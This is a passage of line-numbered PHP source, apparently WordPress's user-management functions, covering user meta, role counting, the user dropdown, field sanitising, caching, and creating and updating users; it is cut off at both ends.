1099 $blogs = get_blogs_of_user( $user_id );
1100 return array_key_exists( $blog_id, $blogs );
1101}
1102
1103/**
1104 * Add meta data field to a user.
1105 *
1106 * Post meta data is called "Custom Fields" on the Administration Screens.
1107 *
1108 * @since 3.0.0
1109 * @uses add_metadata()
1110 * @link http://codex.wordpress.org/Function_Reference/add_user_meta
1111 *
1112 * @param int $user_id User ID.
1113 * @param string $meta_key Metadata name.
1114 * @param mixed $meta_value Metadata value.
1115 * @param bool $unique Optional, default is false. Whether the same key should not be added.
1116 * @return int|bool Meta ID on success, false on failure.
1117 */
1118function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
1119 return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
1120}
1121
1122/**
1123 * Remove metadata matching criteria from a user.
1124 *
1125 * You can match based on the key, or key and value. Removing based on key and
1126 * value, will keep from removing duplicate metadata with the same key. It also
1127 * allows removing all metadata matching key, if needed.
1128 *
1129 * @since 3.0.0
1130 * @uses delete_metadata()
1131 * @link http://codex.wordpress.org/Function_Reference/delete_user_meta
1132 *
1133 * @param int $user_id user ID
1134 * @param string $meta_key Metadata name.
1135 * @param mixed $meta_value Optional. Metadata value.
1136 * @return bool True on success, false on failure.
1137 */
1138function delete_user_meta($user_id, $meta_key, $meta_value = '') {
1139 return delete_metadata('user', $user_id, $meta_key, $meta_value);
1140}
1141
1142/**
1143 * Retrieve user meta field for a user.
1144 *
1145 * @since 3.0.0
1146 * @uses get_metadata()
1147 * @link http://codex.wordpress.org/Function_Reference/get_user_meta
1148 *
1149 * @param int $user_id User ID.
1150 * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
1151 * @param bool $single Whether to return a single value.
1152 * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
1153 * is true.
1154 */
1155function get_user_meta($user_id, $key = '', $single = false) {
1156 return get_metadata('user', $user_id, $key, $single);
1157}
1158
1159/**
1160 * Update user meta field based on user ID.
1161 *
1162 * Use the $prev_value parameter to differentiate between meta fields with the
1163 * same key and user ID.
1164 *
1165 * If the meta field for the user does not exist, it will be added.
1166 *
1167 * @since 3.0.0
1168 * @uses update_metadata
1169 * @link http://codex.wordpress.org/Function_Reference/update_user_meta
1170 *
1171 * @param int $user_id User ID.
1172 * @param string $meta_key Metadata key.
1173 * @param mixed $meta_value Metadata value.
1174 * @param mixed $prev_value Optional. Previous value to check before removing.
1175 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
1176 */
1177function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
1178 return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
1179}
1180
1181/**
1182 * Count number of users who have each of the user roles.
1183 *
1184 * Assumes there are neither duplicated nor orphaned capabilities meta_values.
1185 * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
1186 * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
1187 * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
1188 *
1189 * @since 3.0.0
1190 * @param string $strategy 'time' or 'memory'
1191 * @return array Includes a grand total and an array of counts indexed by role strings.
1192 */
1193function count_users($strategy = 'time') {
1194 global $wpdb, $wp_roles;
1195
1196 // Initialize
1197 $id = get_current_blog_id();
1198 $blog_prefix = $wpdb->get_blog_prefix($id);
1199 $result = array();
1200
1201 if ( 'time' == $strategy ) {
1202 global $wp_roles;
1203
1204 if ( ! isset( $wp_roles ) )
1205 $wp_roles = new WP_Roles();
1206
1207 $avail_roles = $wp_roles->get_names();
1208
1209 // Build a CPU-intensive query that will return concise information.
1210 $select_count = array();
1211 foreach ( $avail_roles as $this_role => $name ) {
1212 $select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
1213 }
1214 $select_count = implode(', ', $select_count);
1215
1216 // Add the meta_value index to the selection list, then run the query.
1217 $row = $wpdb->get_row( "SELECT $select_count, COUNT(*) FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'", ARRAY_N );
1218
1219 // Run the previous loop again to associate results with role names.
1220 $col = 0;
1221 $role_counts = array();
1222 foreach ( $avail_roles as $this_role => $name ) {
1223 $count = (int) $row[$col++];
1224 if ($count > 0) {
1225 $role_counts[$this_role] = $count;
1226 }
1227 }
1228
1229 // Get the meta_value index from the end of the result set.
1230 $total_users = (int) $row[$col];
1231
1232 $result['total_users'] = $total_users;
1233 $result['avail_roles'] =& $role_counts;
1234 } else {
1235 $avail_roles = array();
1236
1237 $users_of_blog = $wpdb->get_col( "SELECT meta_value FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'" );
1238
1239 foreach ( $users_of_blog as $caps_meta ) {
1240 $b_roles = maybe_unserialize($caps_meta);
1241 if ( ! is_array( $b_roles ) )
1242 continue;
1243 foreach ( $b_roles as $b_role => $val ) {
1244 if ( isset($avail_roles[$b_role]) ) {
1245 $avail_roles[$b_role]++;
1246 } else {
1247 $avail_roles[$b_role] = 1;
1248 }
1249 }
1250 }
1251
1252 $result['total_users'] = count( $users_of_blog );
1253 $result['avail_roles'] =& $avail_roles;
1254 }
1255
1256 return $result;
1257}
1258
1259//
1260// Private helper functions
1261//
1262
1263/**
1264 * Set up global user vars.
1265 *
1266 * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
1267 *
1268 * @since 2.0.4
1269 * @global string $userdata User description.
1270 * @global string $user_login The user username for logging in
1271 * @global int $user_level The level of the user
1272 * @global int $user_ID The ID of the user
1273 * @global string $user_email The email address of the user
1274 * @global string $user_url The url in the user's profile
1275 * @global string $user_identity The display name of the user
1276 *
1277 * @param int $for_user_id Optional. User ID to set up global data.
1278 */
1279function setup_userdata($for_user_id = '') {
1280 global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
1281
1282 if ( '' == $for_user_id )
1283 $for_user_id = get_current_user_id();
1284 $user = get_userdata( $for_user_id );
1285
1286 if ( ! $user ) {
1287 $user_ID = 0;
1288 $user_level = 0;
1289 $userdata = null;
1290 $user_login = $user_email = $user_url = $user_identity = '';
1291 return;
1292 }
1293
1294 $user_ID = (int) $user->ID;
1295 $user_level = (int) $user->user_level;
1296 $userdata = $user;
1297 $user_login = $user->user_login;
1298 $user_email = $user->user_email;
1299 $user_url = $user->user_url;
1300 $user_identity = $user->display_name;
1301}
1302
1303/**
1304 * Create dropdown HTML content of users.
1305 *
1306 * The content can either be displayed, which it is by default or retrieved by
1307 * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
1308 * need to be used; all users will be displayed in that case. Only one can be
1309 * used, either 'include' or 'exclude', but not both.
1310 *
1311 * The available arguments are as follows:
1312 *
1313 * @since 2.3.0
1314 *
1315 * @global wpdb $wpdb WordPress database object for queries.
1316 *
1317 * @param array|string $args {
1318 * Optional. Array or string of arguments to generate a drop-down of users.
1319 * {@see WP_User_Query::prepare_query() for additional available arguments.
1320 *
1321 * @type string $show_option_all Text to show as the drop-down default (all).
1322 * Default empty.
1323 * @type string $show_option_none Text to show as the drop-down default when no
1324 * users were found. Default empty.
1325 * @type int|string $option_none_value Value to use for $show_option_non when no users
1326 * were found. Default -1.
1327 * @type string $hide_if_only_one_author Whether to skip generating the drop-down
1328 * if only one user was found. Default empty.
1329 * @type string $orderby Field to order found users by. Accepts user fields.
1330 * Default 'display_name'.
1331 * @type string $order Whether to order users in ascending or descending
1332 * order. Accepts 'ASC' (ascending) or 'DESC' (descending).
1333 * Default 'ASC'.
1334 * @type array|string $include Array or comma-separated list of user IDs to include.
1335 * Default empty.
1336 * @type array|string $exclude Array or comma-separated list of user IDs to exclude.
1337 * Default empty.
1338 * @type bool|int $multi Whether to skip the ID attribute on the 'select' element.
1339 * Accepts 1|true or 0|false. Default 0|false.
1340 * @type string $show User table column to display. If the selected item is empty
1341 * then the 'user_login' will be displayed in parentheses.
1342 * Accepts user fields. Default 'display_name'.
1343 * @type int|bool $echo Whether to echo or return the drop-down. Accepts 1|true (echo)
1344 * or 0|false (return). Default 1|true.
1345 * @type int $selected Which user ID should be selected. Default 0.
1346 * @type bool $include_selected Whether to always include the selected user ID in the drop-
1347 * down. Default false.
1348 * @type string $name Name attribute of select element. Default 'user'.
1349 * @type string $id ID attribute of the select element. Default is the value of $name.
1350 * @type string $class Class attribute of the select element. Default empty.
1351 * @type int $blog_id ID of blog (Multisite only). Default is ID of the current blog.
1352 * @type string $who Which type of users to query. Accepts only an empty string or
1353 * 'authors'. Default empty.
1354 * }
1355 * @return string|null Null on display. String of HTML content on retrieve.
1356 */
1357function wp_dropdown_users( $args = '' ) {
1358 $defaults = array(
1359 'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
1360 'orderby' => 'display_name', 'order' => 'ASC',
1361 'include' => '', 'exclude' => '', 'multi' => 0,
1362 'show' => 'display_name', 'echo' => 1,
1363 'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
1364 'blog_id' => $GLOBALS['blog_id'], 'who' => '', 'include_selected' => false,
1365 'option_none_value' => -1
1366 );
1367
1368 $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
1369
1370 $r = wp_parse_args( $args, $defaults );
1371 $show = $r['show'];
1372 $show_option_all = $r['show_option_all'];
1373 $show_option_none = $r['show_option_none'];
1374 $option_none_value = $r['option_none_value'];
1375
1376 $query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who' ) );
1377 $query_args['fields'] = array( 'ID', 'user_login', $show );
1378 $users = get_users( $query_args );
1379
1380 $output = '';
1381 if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
1382 $name = esc_attr( $r['name'] );
1383 if ( $r['multi'] && ! $r['id'] ) {
1384 $id = '';
1385 } else {
1386 $id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
1387 }
1388 $output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
1389
1390 if ( $show_option_all ) {
1391 $output .= "\t<option value='0'>$show_option_all</option>\n";
1392 }
1393
1394 if ( $show_option_none ) {
1395 $_selected = selected( $option_none_value, $r['selected'], false );
1396 $output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
1397 }
1398
1399 $found_selected = false;
1400 foreach ( (array) $users as $user ) {
1401 $user->ID = (int) $user->ID;
1402 $_selected = selected( $user->ID, $r['selected'], false );
1403 if ( $_selected ) {
1404 $found_selected = true;
1405 }
1406 $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
1407 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1408 }
1409
1410 if ( $r['include_selected'] && ! $found_selected && ( $r['selected'] > 0 ) ) {
1411 $user = get_userdata( $r['selected'] );
1412 $_selected = selected( $user->ID, $r['selected'], false );
1413 $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
1414 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1415 }
1416
1417 $output .= "</select>";
1418 }
1419
1420 /**
1421 * Filter the wp_dropdown_users() HTML output.
1422 *
1423 * @since 2.3.0
1424 *
1425 * @param string $output HTML output generated by wp_dropdown_users().
1426 */
1427 $html = apply_filters( 'wp_dropdown_users', $output );
1428
1429 if ( $r['echo'] ) {
1430 echo $html;
1431 }
1432 return $html;
1433}
1434
1435/**
1436 * Sanitize user field based on context.
1437 *
1438 * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
1439 * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
1440 * when calling filters.
1441 *
1442 * @since 2.3.0
1443 *
1444 * @param string $field The user Object field name.
1445 * @param mixed $value The user Object value.
1446 * @param int $user_id user ID.
1447 * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
1448 * 'attribute' and 'js'.
1449 * @return mixed Sanitized value.
1450 */
1451function sanitize_user_field($field, $value, $user_id, $context) {
1452 $int_fields = array('ID');
1453 if ( in_array($field, $int_fields) )
1454 $value = (int) $value;
1455
1456 if ( 'raw' == $context )
1457 return $value;
1458
1459 if ( !is_string($value) && !is_numeric($value) )
1460 return $value;
1461
1462 $prefixed = false !== strpos( $field, 'user_' );
1463
1464 if ( 'edit' == $context ) {
1465 if ( $prefixed ) {
1466
1467 /** This filter is documented in wp-includes/post.php */
1468 $value = apply_filters( "edit_{$field}", $value, $user_id );
1469 } else {
1470
1471 /**
1472 * Filter a user field value in the 'edit' context.
1473 *
1474 * The dynamic portion of the hook name, $field, refers to the prefixed user
1475 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1476 *
1477 * @since 2.9.0
1478 *
1479 * @param mixed $value Value of the prefixed user field.
1480 * @param int $user_id User ID.
1481 */
1482 $value = apply_filters( "edit_user_{$field}", $value, $user_id );
1483 }
1484
1485 if ( 'description' == $field )
1486 $value = esc_html( $value ); // textarea_escaped?
1487 else
1488 $value = esc_attr($value);
1489 } else if ( 'db' == $context ) {
1490 if ( $prefixed ) {
1491 /** This filter is documented in wp-includes/post.php */
1492 $value = apply_filters( "pre_{$field}", $value );
1493 } else {
1494
1495 /**
1496 * Filter the value of a user field in the 'db' context.
1497 *
1498 * The dynamic portion of the hook name, $field, refers to the prefixed user
1499 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1500 *
1501 * @since 2.9.0
1502 *
1503 * @param mixed $value Value of the prefixed user field.
1504 */
1505 $value = apply_filters( "pre_user_{$field}", $value );
1506 }
1507 } else {
1508 // Use display filters by default.
1509 if ( $prefixed ) {
1510
1511 /** This filter is documented in wp-includes/post.php */
1512 $value = apply_filters( $field, $value, $user_id, $context );
1513 } else {
1514
1515 /**
1516 * Filter the value of a user field in a standard context.
1517 *
1518 * The dynamic portion of the hook name, $field, refers to the prefixed user
1519 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1520 *
1521 * @since 2.9.0
1522 *
1523 * @param mixed $value The user object value to sanitize.
1524 * @param int $user_id User ID.
1525 * @param string $context The context to filter within.
1526 */
1527 $value = apply_filters( "user_{$field}", $value, $user_id, $context );
1528 }
1529 }
1530
1531 if ( 'user_url' == $field )
1532 $value = esc_url($value);
1533
1534 if ( 'attribute' == $context )
1535 $value = esc_attr($value);
1536 else if ( 'js' == $context )
1537 $value = esc_js($value);
1538
1539 return $value;
1540}
1541
1542/**
1543 * Update all user caches
1544 *
1545 * @since 3.0.0
1546 *
1547 * @param object $user User object to be cached
1548 */
1549function update_user_caches($user) {
1550 wp_cache_add($user->ID, $user, 'users');
1551 wp_cache_add($user->user_login, $user->ID, 'userlogins');
1552 wp_cache_add($user->user_email, $user->ID, 'useremail');
1553 wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
1554}
1555
1556/**
1557 * Clean all user caches
1558 *
1559 * @since 3.0.0
1560 *
1561 * @param WP_User|int $user User object or ID to be cleaned from the cache
1562 */
1563function clean_user_cache( $user ) {
1564 if ( is_numeric( $user ) )
1565 $user = new WP_User( $user );
1566
1567 if ( ! $user->exists() )
1568 return;
1569
1570 wp_cache_delete( $user->ID, 'users' );
1571 wp_cache_delete( $user->user_login, 'userlogins' );
1572 wp_cache_delete( $user->user_email, 'useremail' );
1573 wp_cache_delete( $user->user_nicename, 'userslugs' );
1574}
1575
1576/**
1577 * Checks whether the given username exists.
1578 *
1579 * @since 2.0.0
1580 *
1581 * @param string $username Username.
1582 * @return null|int The user's ID on success, and null on failure.
1583 */
1584function username_exists( $username ) {
1585 if ( $user = get_user_by('login', $username ) ) {
1586 return $user->ID;
1587 } else {
1588 return null;
1589 }
1590}
1591
1592/**
1593 * Checks whether the given email exists.
1594 *
1595 * @since 2.1.0
1596 *
1597 * @param string $email Email.
1598 * @return bool|int The user's ID on success, and false on failure.
1599 */
1600function email_exists( $email ) {
1601 if ( $user = get_user_by('email', $email) )
1602 return $user->ID;
1603
1604 return false;
1605}
1606
1607/**
1608 * Checks whether an username is valid.
1609 *
1610 * @since 2.0.1
1611 * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters
1612 *
1613 * @param string $username Username.
1614 * @return bool Whether username given is valid
1615 */
1616function validate_username( $username ) {
1617 $sanitized = sanitize_user( $username, true );
1618 $valid = ( $sanitized == $username );
1619 /**
1620 * Filter whether the provided username is valid or not.
1621 *
1622 * @since 2.0.1
1623 *
1624 * @param bool $valid Whether given username is valid.
1625 * @param string $username Username to check.
1626 */
1627 return apply_filters( 'validate_username', $valid, $username );
1628}
1629
1630/**
1631 * Insert an user into the database.
1632 *
1633 * Most of the $userdata array fields have filters associated with the values.
1634 * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim',
1635 * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed
1636 * by the field name. An example using 'description' would have the filter
1637 * called, 'pre_user_description' that can be hooked into.
1638 *
1639 * @since 2.0.0
1640 *
1641 * @global wpdb $wpdb WordPress database object for queries.
1642 *
1643 * @param array $userdata {
1644 * An array, object, or WP_User object of user data arguments.
1645 *
1646 * @type int $ID User ID. If supplied, the user will be updated.
1647 * @type string $user_pass The plain-text user password.
1648 * @type string $user_login The user's login username.
1649 * @type string $user_nicename The URL-friendly user name.
1650 * @type string $user_url The user URL.
1651 * @type string $user_email The user email address.
1652 * @type string $display_name The user's display name.
1653 * Default is the the user's username.
1654 * @type string $nickname The user's nickname. Default
1655 * Default is the the user's username.
1656 * @type string $first_name The user's first name. For new users, will be used
1657 * to build $display_name if unspecified.
1658 * @type stirng $last_name The user's last name. For new users, will be used
1659 * to build $display_name if unspecified.
1660 * @type string|bool $rich_editing Whether to enable the rich-editor for the user. False
1661 * if not empty.
1662 * @type string $date_registered Date the user registered. Format is 'Y-m-d H:i:s'.
1663 * @type string $role User's role.
1664 * @type string $jabber User's Jabber account username.
1665 * @type string $aim User's AIM account username.
1666 * @type string $yim User's Yahoo! messenger username.
1667 * }
1668 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
1669 * be created.
1670 */
1671function wp_insert_user( $userdata ) {
1672 global $wpdb;
1673
1674 if ( is_a( $userdata, 'stdClass' ) ) {
1675 $userdata = get_object_vars( $userdata );
1676 } elseif ( is_a( $userdata, 'WP_User' ) ) {
1677 $userdata = $userdata->to_array();
1678 }
1679 // Are we updating or creating?
1680 if ( ! empty( $userdata['ID'] ) ) {
1681 $ID = (int) $userdata['ID'];
1682 $update = true;
1683 $old_user_data = WP_User::get_data_by( 'id', $ID );
1684 // hashed in wp_update_user(), plaintext if called directly
1685 $user_pass = $userdata['user_pass'];
1686 } else {
1687 $update = false;
1688 // Hash the password
1689 $user_pass = wp_hash_password( $userdata['user_pass'] );
1690 }
1691
1692 $sanitized_user_login = sanitize_user( $userdata['user_login'], true );
1693
1694 /**
1695 * Filter a username after it has been sanitized.
1696 *
1697 * This filter is called before the user is created or updated.
1698 *
1699 * @since 2.0.3
1700 *
1701 * @param string $sanitized_user_login Username after it has been sanitized.
1702 */
1703 $pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
1704
1705 //Remove any non-printable chars from the login string to see if we have ended up with an empty username
1706 $user_login = trim( $pre_user_login );
1707
1708 if ( empty( $user_login ) ) {
1709 return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
1710 }
1711 if ( ! $update && username_exists( $user_login ) ) {
1712 return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
1713 }
1714 if ( empty( $userdata['user_nicename'] ) ) {
1715 $user_nicename = sanitize_title( $user_login );
1716 } else {
1717 $user_nicename = $userdata['user_nicename'];
1718 }
1719
1720 // Store values to save in user meta.
1721 $meta = array();
1722
1723 /**
1724 * Filter a user's nicename before the user is created or updated.
1725 *
1726 * @since 2.0.3
1727 *
1728 * @param string $user_nicename The user's nicename.
1729 */
1730 $user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
1731
1732 $raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
1733
1734 /**
1735 * Filter a user's URL before the user is created or updated.
1736 *
1737 * @since 2.0.3
1738 *
1739 * @param string $raw_user_url The user's URL.
1740 */
1741 $user_url = apply_filters( 'pre_user_url', $raw_user_url );
1742
1743 $raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
1744
1745 /**
1746 * Filter a user's email before the user is created or updated.
1747 *
1748 * @since 2.0.3
1749 *
1750 * @param string $raw_user_email The user's email.
1751 */
1752 $user_email = apply_filters( 'pre_user_email', $raw_user_email );
1753
1754 if ( ! $update && ! defined( 'WP_IMPORTING' ) && email_exists( $user_email ) ) {
1755 return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
1756 }
1757 $nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
1758
1759 /**
1760 * Filter a user's nickname before the user is created or updated.
1761 *
1762 * @since 2.0.3
1763 *
1764 * @param string $nickname The user's nickname.
1765 */
1766 $meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
1767
1768 $first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
1769
1770 /**
1771 * Filter a user's first name before the user is created or updated.
1772 *
1773 * @since 2.0.3
1774 *
1775 * @param string $first_name The user's first name.
1776 */
1777 $meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
1778
1779 $last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
1780
1781 /**
1782 * Filter a user's last name before the user is created or updated.
1783 *
1784 * @since 2.0.3
1785 *
1786 * @param string $last_name The user's last name.
1787 */
1788 $meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
1789
1790 if ( empty( $userdata['display_name'] ) ) {
1791 if ( $update ) {
1792 $display_name = $user_login;
1793 } elseif ( $meta['first_name'] && $meta['last_name'] ) {
1794 /* translators: 1: first name, 2: last name */
1795 $display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
1796 } elseif ( $meta['first_name'] ) {
1797 $display_name = $meta['first_name'];
1798 } elseif ( $meta['last_name'] ) {
1799 $display_name = $meta['last_name'];
1800 } else {
1801 $display_name = $user_login;
1802 }
1803 } else {
1804 $display_name = $userdata['display_name'];
1805 }
1806
1807 /**
1808 * Filter a user's display name before the user is created or updated.
1809 *
1810 * @since 2.0.3
1811 *
1812 * @param string $display_name The user's display name.
1813 */
1814 $display_name = apply_filters( 'pre_user_display_name', $display_name );
1815
1816 $description = empty( $userdata['description'] ) ? '' : $userdata['description'];
1817
1818 /**
1819 * Filter a user's description before the user is created or updated.
1820 *
1821 * @since 2.0.3
1822 *
1823 * @param string $description The user's description.
1824 */
1825 $meta['description'] = apply_filters( 'pre_user_description', $description );
1826
1827 $meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
1828
1829 $meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) ? 'false' : $userdata['comment_shortcuts'];
1830
1831 $admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
1832 $meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
1833
1834 $meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
1835
1836 $user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
1837
1838 $meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
1839
1840 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
1841
1842 if ( $user_nicename_check ) {
1843 $suffix = 2;
1844 while ($user_nicename_check) {
1845 $alt_user_nicename = $user_nicename . "-$suffix";
1846 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
1847 $suffix++;
1848 }
1849 $user_nicename = $alt_user_nicename;
1850 }
1851
1852 $compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
1853 $data = wp_unslash( $compacted );
1854
1855 if ( $update ) {
1856 if ( $user_email !== $old_user_data->user_email ) {
1857 $data['user_activation_key'] = '';
1858 }
1859 $wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
1860 $user_id = (int) $ID;
1861 } else {
1862 $wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) );
1863 $user_id = (int) $wpdb->insert_id;
1864 }
1865
1866 $user = new WP_User( $user_id );
1867
1868 // Update user meta.
1869 foreach ( $meta as $key => $value ) {
1870 update_user_meta( $user_id, $key, $value );
1871 }
1872
1873 foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
1874 if ( isset( $userdata[ $key ] ) ) {
1875 update_user_meta( $user_id, $key, $userdata[ $key ] );
1876 }
1877 }
1878
1879 if ( isset( $userdata['role'] ) ) {
1880 $user->set_role( $userdata['role'] );
1881 } elseif ( ! $update ) {
1882 $user->set_role(get_option('default_role'));
1883 }
1884 wp_cache_delete( $user_id, 'users' );
1885 wp_cache_delete( $user_login, 'userlogins' );
1886
1887 if ( $update ) {
1888 /**
1889 * Fires immediately after an existing user is updated.
1890 *
1891 * @since 2.0.0
1892 *
1893 * @param int $user_id User ID.
1894 * @param object $old_user_data Object containing user's data prior to update.
1895 */
1896 do_action( 'profile_update', $user_id, $old_user_data );
1897 } else {
1898 /**
1899 * Fires immediately after a new user is registered.
1900 *
1901 * @since 1.5.0
1902 *
1903 * @param int $user_id User ID.
1904 */
1905 do_action( 'user_register', $user_id );
1906 }
1907
1908 return $user_id;
1909}
1910
1911/**
1912 * Update an user in the database.
1913 *
1914 * It is possible to update a user's password by specifying the 'user_pass'
1915 * value in the $userdata parameter array.
1916 *
1917 * If current user's password is being updated, then the cookies will be
1918 * cleared.
1919 *
1920 * @since 2.0.0
1921 *
1922 * @see wp_insert_user() For what fields can be set in $userdata.
1923 *
1924 * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User.
1925 * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
1926 */
1927function wp_update_user($userdata) {
1928 if ( is_a( $userdata, 'stdClass' ) )
1929 $userdata = get_object_vars( $userdata );
1930 elseif ( is_a( $userdata, 'WP_User' ) )
1931 $userdata = $userdata->to_array();
1932
1933 $ID = (int) $userdata['ID'];
1934
1935 // First, get all of the original fields
1936 $user_obj = get_userdata( $ID );
1937 if ( ! $user_obj )
1938 return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
1939
1940 $user = $user_obj->to_array();
1941
1942 // Add additional custom fields
1943 foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
1944 $user[ $key ] = get_user_meta( $ID, $key, true );
1945 }
1946
1947 // Escape data pulled from DB.
1948 $user = add_magic_quotes( $user );
1949
1950 // If password is changing, hash it now.
1951 if ( ! empty($userdata['user_pass']) ) {
1952 $plaintext_pass = $userdata['user_pass'];
1953 $userdata['user_pass'] = wp_hash_password($userdata['user_pass']);
1954 }
1955
1956 wp_cache_delete($user[ 'user_email' ], 'useremail');
1957
1958 // Merge old and new fields with new fields overwriting old ones.
1959 $userdata = array_merge($user, $userdata);
1960 $user_id = wp_insert_user($userdata);
1961
1962 // Update the cookies if the password changed.
1963 $current_user = wp_get_current_user();
1964 if ( $current_user->ID == $ID ) {
1965 if ( isset($plaintext_pass) ) {
1966 wp_clear_auth_cookie();
1967
1968 // Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
1969 // If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
1970 $logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
1971 /** This filter is documented in wp-includes/pluggable.php */
1972 $default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
1973 $remember = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
1974
1975 wp_set_auth_cookie( $ID, $remember );
1976 }
1977 }
1978
1979 return $user_id;
1980}
1981
1982/**
1983 * A simpler way of inserting an user into the database.
1984 *
1985 * Creates a new user with just the username, password, and email. For more
1986 * complex user creation use wp_insert_user() to specify more information.
1987 *
1988 * @since 2.0.0
1989 * @see wp_insert_user() More complete way to create a new user
1990 *
1991 * @param string $username The user's username.
1992 * @param string $password The user's password.
1993 * @param string $email The user's email (optional).
1994 * @return int The new user's ID.
1995 */
1996function wp_create_user($username, $password, $email = '') {
1997 $user_login = wp_slash( $username );
1998 $user_email = wp_slash( $email );
1999 $user_pass = $password;
2000
2001 $userdata = compact('user_login', 'user_email', 'user_pass');
2002 return wp_insert_user($userdata);
2003}
2004
2005/**
2006 * Return a list of meta keys that wp_insert_user() is supposed to set.
2007 *
2008 * @since 3.3.0
2009 * @access private
2010 *
2011 * @param object $user WP_User instance.
2012 * @return array
2013 */
2014function _get_additional_user_keys( $user ) {
2015 $keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front' );
2016 return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
2017}
2018
2019/**
2020 * Set up the user contact methods.
2021 *
2022 * Default contact methods were removed in 3.6. A filter dictates contact methods.
2023 *
2024 * @since 3.7.0
2025 *
2026 * @param WP_User $user Optional. WP_User object.
2027 * @return array Array of contact methods and their labels.
2028 */
2029function wp_get_user_contact_methods( $user = null ) {
2030 $methods = array();
2031 if ( get_site_option( 'initial_db_version' ) < 23588 ) {
